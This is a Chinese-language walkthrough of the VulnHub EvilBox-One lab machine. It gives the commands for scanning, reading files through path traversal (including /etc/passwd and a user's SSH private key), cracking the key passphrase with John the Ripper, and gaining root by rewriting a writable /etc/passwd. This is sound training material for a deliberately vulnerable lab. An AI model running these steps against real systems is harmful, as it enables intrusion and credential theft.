EvilBox-One靶场实战

https://download.vulnhub.com/evilbox/EvilBox---One.ova

nmap -sP 192.168.128.0/24  #对自己的靶机网段进行存活探测，获取靶机地址nmap -T4 -A -p- 192.168.128.128  #对目标进行全端口扫描

通过探测发现目标开启了22、80端口使用dirsearch进行目录扫描，发现robots.txt文件和/secret/目录在/secret目录下发现了evil.php文件通过fuzz到command存在文件包含http://192.168.128.128/secret/evil.php?command=../index.html

可以读取到/etc/passwdhttp://192.168.128.128/secret/evil.php?command=../../../../../../../etc/passwd通过查看passwd文件发现mowree用户ssh mowree@192.168.128.128 -v可以使用的身份验证：公钥、密码尝试通过文件包含查看mowree公钥文件、私钥文件

尝试通过文件包含查看mowree公钥文件、私钥文件http://192.168.128.128/secret/evil.php?command=../../../../../home/mowree/.ssh/authorized_keyshttp://192.168.128.128/secret/evil.php?command=../../../../../home/mowree/.ssh/id_rsa将mowree私钥文件保存到Kaliwget -O id_rsa http://192.168.128.128/secret/evil.php?command=../../../../../home/mowree/.ssh/id_rsachmod 777 id_rsa  # 修改id_rsa 文件权限ssh mowree@192.168.128.128 -i id_rsa # 使用私钥连接连接发现需要输入加密私钥的密码# 使用字典进行爆破加密密码# 准备密码cp /usr/share/wordlists/rockyou.txt.gz .gunzip rockyou.txt.gz#id_rsa文件格式转换/usr/share/john/ssh2john.py id_rsa > hash #使用john爆破john hash --wordlist=rockyou.txt破解出加密id_rsa的加密密码为unicorn再次使用id_rsa私钥登录ssh mowree@192.168.128.128 -i id_rsa成功登录获取到mowree权限

# 查找具有写入权限的文件find / writable 2>/dev/null | grep -v proc通过查找发现/etc/passwd文件具有写入权限openssl passwd -1 # 生成一个密码 123456$1$jDebtByd$LilZiamAWeJykmDBDItt.1 # 生成后的密文vi /etc/passwd #将密文写入/etc/passwd root用户密码处su root 123456成功获取root权限